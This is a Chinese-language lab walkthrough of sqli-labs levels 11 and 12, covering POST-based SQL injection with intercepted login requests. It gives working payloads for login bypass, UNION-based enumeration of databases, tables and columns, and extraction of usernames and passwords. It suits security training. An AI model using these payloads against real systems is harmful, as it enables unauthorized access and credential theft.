Less-11
第11关不再是之前的get方式,而是post方式,我们不能直接看到数据,所以要使用burpsuite
首先进行登录用户名密码均为admin
打开burpsuite
将最后一句uname=admin&passwd=admin&submit=Submit复制下来,关闭burpsuite,打开post data,然后执行,发现登陆成功
uname=admin'&passwd=admin&submit=Submit 返回结果显示存在sql语法错误,证明存在注入漏洞。
uname=admin'or 1=1#&passwd=admin&submit=Submit 此时登陆成功,可以验证存在注入漏洞(注释符不能使用--+,因为--+主要是用在url中,#是适用的)
在password位置进行验证 uname=a&passwd=a' or 1=1#&submit=Submit
使用uname=a'order by 3#&passwd=a &submit=Submit和uname=a&passwd=a'order by 2# &submit=Submit判断
uname=a&passwd=a'union select 1,2# &submit=Submit
由此,可以得出一共有两列
查询当前所有数据库
uname=a&passwd=a'union select 1,group_concat(schema_name) from information_schema.schemata# &submit=Submit
查看当前数据库 uname=a&passwd=a'union select 1,database()# &submit=Submit
查询security数据库中的所有表的信息 uname=a&passwd=a' union select 1,(select group_concat(table_name)from information_schema.tables where table_schema=0x7365637572697479) #&submit=Submit
查询user表中的字段内容 uname=a&passwd=a' union select 1,(select group_concat(column_name)from information_schema.columns where table_name=0x7573657273) #&submit=Submit
查询user表中的用户名和密码 uname=a&passwd=a' union select 1,(select group_concat(concat_ws('~',username,password))from security.users) #&submit=Submit
总结
1-10关使用get方法,第11关使用post方法,虽然方法不同,但是精髓是相同的
Less-12
这一关采用的抓包工具为Live HTTP Headers,首先在工具栏中打开,然后在浏览器上输入用户名和密码,执行
发现上面出现抓包信息,点击左下角Replay
将选中的语句放入post data中,进行注入漏洞的测试,先把admin破坏,加上or 1=1 #
显示登陆失败但是没有返回其他信息值,将单引号换为双引号,发现登陆失败有回显信息
判断注入漏洞的六种 :
① ‘ ② ’) ③ '))
④ " ⑤ ") ⑥ "))
uname=a") or 1=1#&passwd=admin&submit=Submit
由上图显示登陆成功,可见构造成功,接下来的步骤与第11关一样